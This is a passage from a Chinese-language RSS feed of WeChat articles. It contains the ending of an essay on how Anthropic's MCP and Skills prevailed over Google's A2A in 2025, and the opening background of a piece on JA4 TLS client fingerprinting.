none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">一个围绕 Skills 的，类似 npm 或 PyPI 的“技能商店”生态，似乎已在地平线上若隐若现。</span></strong></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">帝国的迟缓：完美蓝图与现实路径的背离</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">就在 Anthropic 以一种务实、迭代的方式，自下而上地构筑其标准生态之时，另一边的巨头 Google，则选择了一条截然不同的、自上而下的道路。2025 年 4 月，Google 高调推出了一个宏大而完美的“智能体间通信协议”（Agent2Agent, A2A），试图为所有 Agent 之间的协作，建立一个通用的“世界语”。[70]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">其愿景不可谓不宏大，协议设计也堪称周全，涵盖了身份验证、任务描述、安全通信等方方面面。[112]然而，这份精心绘制的“理想城市”蓝图，在现实世界中却遭遇了水土不服。到 2025 年底，除了 Google 自家的云平台和少数合作伙伴的实验性支持外，A2A 并未在广大的开发者社区中激起太多浪花。[115]</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">究其原因，恰恰在于它的“过度设计”。与 MCP 基于通用协议的简洁性相比，A2A 协议栈显得过于学术化和复杂。一位开发者在社区中的评论一针见血：“我可以用一个下午让我的应用支持 MCP，但理解 A2A 的规范可能就需要一周。”[68]</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">在一个技术迭代以“月”为单位的时代，这种高昂的入门成本，无疑劝退了大量追求敏捷与实效的开发者。</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">网络效应的建立，往往依赖于最初的引爆点。当 VS Code、Cursor 等中立的开发阵地早已被简单易用的 MCP 占领，当成千上万的开发者已经习惯了通过 Skills 扩展能力时，A2A 作为一个后来者，未能提供一个足够有说服力的理由，让大家放弃已经运转良好的工具链，切换到一条全新的、更陡峭的赛道。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">最终，A2A 的喧嚣，逐渐归于沉寂。它并没有错，只是它试图解决的是一个“未来”的完美问题，而 Anthropic 解决的，是“现在”的现实问题。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">结语</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">回顾 2025 年，这场围绕 Agent 标准的无声竞逐，与其说是一场技术路线的对决，不如说是一场开发哲学的较量。Anthropic 的胜利，在于它对技术变革早期节奏的清醒把握，在于它选择了一条更为务实和迭代的道路。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这恰恰印证了微软 CEO Satya Nadella 在岁末展望中所强调的：</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AI 的焦点，必须从天花乱坠的炒作，果断转向能够交付的真实世界结果</span></strong><span leaf="">。 而深度学习的布道者 Andrew Ng 也将 2025 年定义为“AI 工业时代的黎明”，其核心特征便是 AI 正从学术探索，转变为由万亿资本驱动的、类似电力的基础设施建设。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Anthropic 的每一步，都踏在了“基础设施”与“真实结果”的节拍上。它用 MCP 解决了最普遍的连接问题，并迅速将其公共化；用 Claude Code 和 Subagent 打造了足够强大的样板间，展示了 Agent 在复杂场景下的潜力；用 Agent SDK 将创新的门槛降至最低；最后，用 Skills 为生态的自发繁荣埋下了种子。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这些环环相扣的支柱，共同构筑了它在 2025 年引领浪潮的核心竞争力。当标准不再是悬于庙堂的宏大宣告，而是悄然沉入每一位开发者的日常工作流，成为其思考与创造的延伸——这或许，就是属于 Anthropic 的，那个定义未来的“iPhone 时刻”。</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d93fc4c4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483992%26idx%3D1%26sn%3D172dde972e1286c089fdc6623fab22c7">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 03 Jan 2026 19:59:00 +0800</pubDate>
    </item>
    <item>
      <title>JA4 TLS 客户端指纹在基础安全的思考应用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247483983&amp;idx=1&amp;sn=1cac3d24cfc5545f1dff4cf3c28a4092</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>黑屋包网运维</span> <span>2025-02-20 17:08</span> <span style="display: inline-block;">上海</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=aef63437&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKfQQ7vPNnP9p3iaDWoc27DjfW3bMLDMKdOa4MhKcbBnxbExpp829MePoPqcsIqMfdiccuklK2auKibJw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 18pt;font-family: Arial, sans-serif;"><span leaf="">1 </span></span></b><span style="mso-bookmark:
heading_0;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 18pt;"><span leaf="">背景介绍</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4+ </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹套件是由网络安全公司</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> FoxIO </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">提出的新一代网络指纹</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">(network fingerprinting)</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">技术，专注于识别</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS/HTTP/QUIC </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">等协议中客户端的唯一特征。与传统的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">相比，</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">通过结构化字段设计、抗随机化算法以及多协议支持，实现了更精准的客户端识别能力，同时保持对用户隐私的保护。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><b style="mso-bidi-font-weight:normal;"><span lang="EN-US" style="font-size: 16pt;font-family: Arial, sans-serif;"><span leaf="">1.1 </span></span></b><span style="mso-bookmark:
heading_1;"><b style="mso-bidi-font-weight:normal;"><span style="font-size: 16pt;"><span leaf="">网络指纹技术的发展历程</span></span></b></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">2017 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">年，</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Salesforce </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的三位研究人员</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> John Althouse</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">、</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">Jeff Atkinson </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">和</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Josh Atkins </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">发布了一种名为</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹识别被动方法。</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">用于对</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">客户端进行指纹识别，而</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3S </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">是服务器的对应物。发现此方法不仅可用于识别恶意软件客户端和服务器，还可用于识别</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> Web API </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">客户端和浏览器。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">然而，在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">2023</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">年，谷歌</span></span><span lang="EN-US"><span lang="EN-US" style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;color:#3370FF;"><span lang="EN-US"><span leaf="">对基于</span></span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;"><span leaf=""> Chromium </span></span><span lang="EN-US" style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;color:#3370FF;"><span lang="EN-US"><span leaf="">的浏览器实施了一项更改</span></span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">，对</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">扩展的顺序进行随机化。由于</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">的计算依赖</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">扩展的顺序，浏览器的扩展顺序随机化使得</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">不再那么有效。为了应对这些挑战，在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> 2023</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">年</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">9</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">月，</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">FoxIO </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">推出</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA4</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">，这是</span></span><span lang="EN-US" style="font-family:
&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">的继任者，它提供了一种更强大、适应性更强、更可靠的方法，用于跨各种协议（包括</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">QUIC </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">等新兴标准）对</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">TLS </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">客户端进行指纹识别。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹可以抵抗</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> TLS </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">扩展的随机化，并包含其他有用的</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">并未涉及的维度，例如应用层协议协商</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">（</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">ALPN</span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">）。</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的推出在网络安全社区受到了积极欢迎，包括</span></span><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> </span></span><span lang="EN-US"><span style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;color:#3370FF;text-decoration:none;text-underline:none;"><span leaf="">Cloudflare </span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:
Arial;mso-bidi-font-family:Arial;"><span leaf="">在内的一些开源工具和商业产品开始将其整合到他们的系统中。</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4</span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">指纹在</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">BSD 3-Clause </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">许可下提供，促进了从</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA3 </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">的无缝升级。</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4+ </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">套件中的其他指纹，例如</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4S </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">和</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4H </span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:
DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:Arial;"><span leaf="">则需要进行商业化授权。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">总结而言，</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf="">JA4 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">相比</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> JA3 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">的核心创新主要在以下方面：</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">指纹的分段结构化，增加分析灵活性。</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">增加</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> ALPN </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">协议协商字段</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">支持</span></span><span lang="EN-US" style="font-family:&#34;Arial&#34;,sans-serif;mso-fareast-font-family:DengXian;"><span leaf=""> QUIC/HTTP3 </span></span><span style="mso-ascii-font-family:
Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
Arial;"><span leaf="">等新协议</span></span><span lang="EN-US"><o:p></o:p></span></p><p style="margin-right: 0cm;margin-left: 0cm;"><span lang="EN-US" style="mso-fareast-font-family:DengXian;mso-fareast-theme-font:minor-latin;mso-bidi-font-family:DengXian;mso-bidi-theme-font:minor-latin;color:#3370FF;"><span style="mso-list:Ignore;"><span leaf=""><br/></span><span style="font-style: normal;font-variant: normal;font-size-adjust: none;font-kerning: auto;font-optical-sizing: auto;font-feature-settings: normal;font-variation-settings: normal;font-weight: normal;font-stretch: normal;font-size: 7pt;font-family: &#34;Times New Roman&#34;;"><span leaf=""><br/></span></span></span></span><span style="mso-ascii-font-family:Arial;mso-fareast-font-family:DengXian;mso-hansi-font-family:Arial;mso-bidi-font-family:
